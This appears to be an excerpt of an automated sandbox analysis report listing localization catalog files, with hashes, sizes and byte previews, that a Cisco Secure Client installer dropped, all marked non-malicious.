File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	361321
Entropy (8bit):	5.209740954129793
Encrypted:	false
SSDEEP:	6144:LjH3UK9dlRVBKfKh++1/nK0Gg4tIOIeJgzu7b:L7hD1/Eqi
MD5:	896374392BD925153CD66C80C719F912
SHA1:	E640B935A2400502607218A0ACA6CC281EFC26A5
SHA-256:	D8264819DB8F3D333ECAC920A8C7240878114F30610EAB49FD817005199A8D29
SHA-512:	3693C050D0E759439E1B03144F623AB735F268D44F97AC7E7726CAF10B5D43F7266EAD8BD8267F57B79AFEF35945BE8D9157F77C77AFCC367C77706600925EB5
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\es-es\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	354736
Entropy (8bit):	5.123789642260049
Encrypted:	false
SSDEEP:	3072:LjH3U1ogM+Iy/aLiY2DBoVBKIuDVKuAYjG+chxEb1XVnhk0NrNQA/nUkSY:LjH3UKJZLiY2DyVBKfKh+w4i5ZY
MD5:	9D4300C87C9E378A13EFA9999D305929
SHA1:	0A7BB44A99208085296E782FD2E7B22170E7D03A
SHA-256:	D92D3E91F1B4036435CC6E39E2CE048DE7153A54577695313ACA1119DF70DE82
SHA-512:	297D7848FB011D8E79A7EE1B48D42227FC8582848B9232F4ED155B5FA1476C25654885FBD39E0207DD86F619BFC0FDE41A0D448365E5B1D57D7C359B7EAE3B1F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\es-es\LC_MESSAGES\is-K95S5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	354736
Entropy (8bit):	5.123789642260049
Encrypted:	false
SSDEEP:	3072:LjH3U1ogM+Iy/aLiY2DBoVBKIuDVKuAYjG+chxEb1XVnhk0NrNQA/nUkSY:LjH3UKJZLiY2DyVBKfKh+w4i5ZY
MD5:	9D4300C87C9E378A13EFA9999D305929
SHA1:	0A7BB44A99208085296E782FD2E7B22170E7D03A
SHA-256:	D92D3E91F1B4036435CC6E39E2CE048DE7153A54577695313ACA1119DF70DE82
SHA-512:	297D7848FB011D8E79A7EE1B48D42227FC8582848B9232F4ED155B5FA1476C25654885FBD39E0207DD86F619BFC0FDE41A0D448365E5B1D57D7C359B7EAE3B1F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\fr-ca\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	366110
Entropy (8bit):	5.203256685903476
Encrypted:	false
SSDEEP:	6144:LjH3UKZRI1w8uVBKfKh+EMVBfFUwKmXeEXNfl:L7hnRCgwKmXeEdfl
MD5:	283DE4CDF40608573B8CF8ACF853524A
SHA1:	43119C50A0F9459624D7CA1CCC9C65D0474EDC32
SHA-256:	6169558657F7D31BBA1335D14D8515877F0EBCF963604F54D7B8676F59437426
SHA-512:	63FAF192C420503F17700E9B757F864F997B76E3DC41BAA01F664672159FEFDC84F338BBA77B06E5D0DF29FA4A422CCA49FDDAC80F7F64C35570E9430972618F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\fr-ca\LC_MESSAGES\is-AQUD0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	366110
Entropy (8bit):	5.203256685903476
Encrypted:	false
SSDEEP:	6144:LjH3UKZRI1w8uVBKfKh+EMVBfFUwKmXeEXNfl:L7hnRCgwKmXeEdfl
MD5:	283DE4CDF40608573B8CF8ACF853524A
SHA1:	43119C50A0F9459624D7CA1CCC9C65D0474EDC32
SHA-256:	6169558657F7D31BBA1335D14D8515877F0EBCF963604F54D7B8676F59437426
SHA-512:	63FAF192C420503F17700E9B757F864F997B76E3DC41BAA01F664672159FEFDC84F338BBA77B06E5D0DF29FA4A422CCA49FDDAC80F7F64C35570E9430972618F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\fr-fr\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	362312
Entropy (8bit):	5.179123156153952
Encrypted:	false
SSDEEP:	6144:LjH3UKDGU3VBKfKh+GCaWCbQgoksGtxZMexJ8tjjNa+HTDzewKLMYspLW1UbwR+Q:L7hDGBRbBwR+Q
MD5:	0656A498B0ADF363A0D80BAF67A4C24B
SHA1:	A8D919E044EF0C20BDC2671F74EE38C3428C42D1
SHA-256:	F1BBF2D27C7CD80028E38E54097A975735F06035674BD991AAFF05429B479A30
SHA-512:	93D1603302BB59C25CB93B5012CAAB94A846092342CC947F508C46A7BE464F6C40B526E1F080E0536FF577DA74891EC51A3B3A65501547898AAABD71613FA84A
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\fr-fr\LC_MESSAGES\is-NG9AF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	362312
Entropy (8bit):	5.179123156153952
Encrypted:	false
SSDEEP:	6144:LjH3UKDGU3VBKfKh+GCaWCbQgoksGtxZMexJ8tjjNa+HTDzewKLMYspLW1UbwR+Q:L7hDGBRbBwR+Q
MD5:	0656A498B0ADF363A0D80BAF67A4C24B
SHA1:	A8D919E044EF0C20BDC2671F74EE38C3428C42D1
SHA-256:	F1BBF2D27C7CD80028E38E54097A975735F06035674BD991AAFF05429B479A30
SHA-512:	93D1603302BB59C25CB93B5012CAAB94A846092342CC947F508C46A7BE464F6C40B526E1F080E0536FF577DA74891EC51A3B3A65501547898AAABD71613FA84A
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\hu-hu\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	362333
Entropy (8bit):	5.410491653751883
Encrypted:	false
SSDEEP:	6144:LjH3UKi/6g1JVBKfKh+KLOPdxLFCtnCCt+GawO+:L7hXgpOFxtn+
MD5:	E0D3819F0EB0197EF322DC22B375C578
SHA1:	F6E9928FA3CEF1B892703DE3EA394BF5D5A4DE52
SHA-256:	235C288B5B2A29BE8EA14140AA9D223314AD559545A39D4EEC7F5EB09C024DAD
SHA-512:	358574029EF1BCE7A9A20263155338EEA7A00BE9C2DA7215177A2674EB3655AF74BD11248F231F4A5EE2D0C27E0862ECD88B7B2BD6944328B91DD58BA71DE462
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\hu-hu\LC_MESSAGES\is-FQPC3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	362333
Entropy (8bit):	5.410491653751883
Encrypted:	false
SSDEEP:	6144:LjH3UKi/6g1JVBKfKh+KLOPdxLFCtnCCt+GawO+:L7hXgpOFxtn+
MD5:	E0D3819F0EB0197EF322DC22B375C578
SHA1:	F6E9928FA3CEF1B892703DE3EA394BF5D5A4DE52
SHA-256:	235C288B5B2A29BE8EA14140AA9D223314AD559545A39D4EEC7F5EB09C024DAD
SHA-512:	358574029EF1BCE7A9A20263155338EEA7A00BE9C2DA7215177A2674EB3655AF74BD11248F231F4A5EE2D0C27E0862ECD88B7B2BD6944328B91DD58BA71DE462
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\it-it\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	348721
Entropy (8bit):	5.110965971564126
Encrypted:	false
SSDEEP:	6144:LjH3UKh3E5VBKfKh+YFxrglCbcTpLSmYYTpkDUcf8864POcncKpFsy0E5zQE+rAJ:L7hp2
MD5:	20C363D5CC6F504F8269CD61B388DCDE
SHA1:	1F8149525D4B96E42A6E3DCB75D1BEB891A0C9E0
SHA-256:	22DA7703EE811B0A7288F7BD771732B62D9284A156ED43A8E575A266134ADE9E
SHA-512:	4B8B2D03E7670E1635054591E929176781A33B6AAF9B02AF80AD19D02257EA827E9D7E5F5E4F698730AD27699FA5F7D90257EE8967C5886D2E94F18BFF621876
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\it-it\LC_MESSAGES\is-I4GRF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	348721
Entropy (8bit):	5.110965971564126
Encrypted:	false
SSDEEP:	6144:LjH3UKh3E5VBKfKh+YFxrglCbcTpLSmYYTpkDUcf8864POcncKpFsy0E5zQE+rAJ:L7hp2
MD5:	20C363D5CC6F504F8269CD61B388DCDE
SHA1:	1F8149525D4B96E42A6E3DCB75D1BEB891A0C9E0
SHA-256:	22DA7703EE811B0A7288F7BD771732B62D9284A156ED43A8E575A266134ADE9E
SHA-512:	4B8B2D03E7670E1635054591E929176781A33B6AAF9B02AF80AD19D02257EA827E9D7E5F5E4F698730AD27699FA5F7D90257EE8967C5886D2E94F18BFF621876
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\ja-jp\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	388375
Entropy (8bit):	5.9662824242248815
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMVyKDmDma70moVBKIuDVKuAYjG+chxEb1XVnhpHg7rmYO0pK4Wl1:LjH3UKtpKDKVBKfKh+HYOSWb
MD5:	0C1C5B23F0C946634836320A60E2246B
SHA1:	9C19265229FAD61B2FCB9FA8E2DC2FDD5DFD97E0
SHA-256:	83A4965A098972336EEFD6C9F9D070BA4C546B11494423621155A2E8084B864E
SHA-512:	E08008AFDFEECA4D75ED57AB9DBAA002F1CA30C0F8B32507EABDE3367AA5152ACEF4F60230E01966F3EC38315BBCD77384F874EC69F8327AEB4720182CB10BF0
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\ja-jp\LC_MESSAGES\is-BEICJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	388375
Entropy (8bit):	5.9662824242248815
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMVyKDmDma70moVBKIuDVKuAYjG+chxEb1XVnhpHg7rmYO0pK4Wl1:LjH3UKtpKDKVBKfKh+HYOSWb
MD5:	0C1C5B23F0C946634836320A60E2246B
SHA1:	9C19265229FAD61B2FCB9FA8E2DC2FDD5DFD97E0
SHA-256:	83A4965A098972336EEFD6C9F9D070BA4C546B11494423621155A2E8084B864E
SHA-512:	E08008AFDFEECA4D75ED57AB9DBAA002F1CA30C0F8B32507EABDE3367AA5152ACEF4F60230E01966F3EC38315BBCD77384F874EC69F8327AEB4720182CB10BF0
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\ko-kr\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	357929
Entropy (8bit):	6.014691052026819
Encrypted:	false
SSDEEP:	3072:LjH3U1ogM5PcD4sAVoVBKIuDVKuAYjG+chxEb1XVnhkv3zdYGLzOJ7CiqP0aCKo:LjH3UKwSOVBKfKh+wfBY6iJ7CLc5Ko
MD5:	B0DAAEF17D63E6DB7225FC65A5BEED25
SHA1:	CD73B824DDC96B0BCB4BA3E4BF389BF8153B2440
SHA-256:	3B0D7490F9015F37EBA158AFE26F9C56A9D35624564CD295EC596D9A6B52B340
SHA-512:	448D36E38E516A33CD5A9AB50B3DEE45B1EED40E05AC9B13B3041CC4523EB8E42EE3A88355FA27A1652D0B8D9C58DECD90FF88EEE2765D42584FD94142ACDA8B
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\ko-kr\LC_MESSAGES\is-3BUNC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	357929
Entropy (8bit):	6.014691052026819
Encrypted:	false
SSDEEP:	3072:LjH3U1ogM5PcD4sAVoVBKIuDVKuAYjG+chxEb1XVnhkv3zdYGLzOJ7CiqP0aCKo:LjH3UKwSOVBKfKh+wfBY6iJ7CLc5Ko
MD5:	B0DAAEF17D63E6DB7225FC65A5BEED25
SHA1:	CD73B824DDC96B0BCB4BA3E4BF389BF8153B2440
SHA-256:	3B0D7490F9015F37EBA158AFE26F9C56A9D35624564CD295EC596D9A6B52B340
SHA-512:	448D36E38E516A33CD5A9AB50B3DEE45B1EED40E05AC9B13B3041CC4523EB8E42EE3A88355FA27A1652D0B8D9C58DECD90FF88EEE2765D42584FD94142ACDA8B
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\nl-nl\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	347088
Entropy (8bit):	5.137429334753401
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMlckwL1nSoVBKIuDVKuAYjG+chxEb1XVnhMmpLSr1LgO0+1zfykgRhr8:LjH3UKtcpnnVBKfKh+jFP0Z
MD5:	F9ABBCA86A0DAB6C01915CB745CDE31A
SHA1:	49FF0DB4BDCF002AC981AADEAF839FB9F210F28F
SHA-256:	281772D7111DBEE29EE3728CDC56634B4D75AC16E681D66B008EEFECAF6277B3
SHA-512:	76E4FB468C76ADA1B355F7786CF9EE57DCEAB3294E57310B4BA8B9BB84A6EFB4F3BDFB31B4541DBC461164E521496B0287BE0ACC09732E3089B49E491D130FAB
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\nl-nl\LC_MESSAGES\is-7JRNH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	347088
Entropy (8bit):	5.137429334753401
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMlckwL1nSoVBKIuDVKuAYjG+chxEb1XVnhMmpLSr1LgO0+1zfykgRhr8:LjH3UKtcpnnVBKfKh+jFP0Z
MD5:	F9ABBCA86A0DAB6C01915CB745CDE31A
SHA1:	49FF0DB4BDCF002AC981AADEAF839FB9F210F28F
SHA-256:	281772D7111DBEE29EE3728CDC56634B4D75AC16E681D66B008EEFECAF6277B3
SHA-512:	76E4FB468C76ADA1B355F7786CF9EE57DCEAB3294E57310B4BA8B9BB84A6EFB4F3BDFB31B4541DBC461164E521496B0287BE0ACC09732E3089B49E491D130FAB
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\pl-pl\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	352370
Entropy (8bit):	5.387002164805478
Encrypted:	false
SSDEEP:	6144:LjH3UKisfdVbVBKfKh+tps+fpWQUbSKN/dTkL4ecW:L7h/VojUbS
MD5:	40675B2B9871F33C2739B9636A54EE25
SHA1:	9E16B111B97E810EB5E32FF935649DD5057AFD52
SHA-256:	C165FF2D1226D1653E42E133DCD3346B3C239779C4EAFF2FA05D8A8416AABEE1
SHA-512:	1C1908139C3A4072431D74360513369CFBDD4F0E9EB839457A3C15622A2C5983278DA2BB883CD159C358C143C17CDDC37C54A92F691E313DDE4DC891AF1D1F99
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\pl-pl\LC_MESSAGES\is-9MHBK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	352370
Entropy (8bit):	5.387002164805478
Encrypted:	false
SSDEEP:	6144:LjH3UKisfdVbVBKfKh+tps+fpWQUbSKN/dTkL4ecW:L7h/VojUbS
MD5:	40675B2B9871F33C2739B9636A54EE25
SHA1:	9E16B111B97E810EB5E32FF935649DD5057AFD52
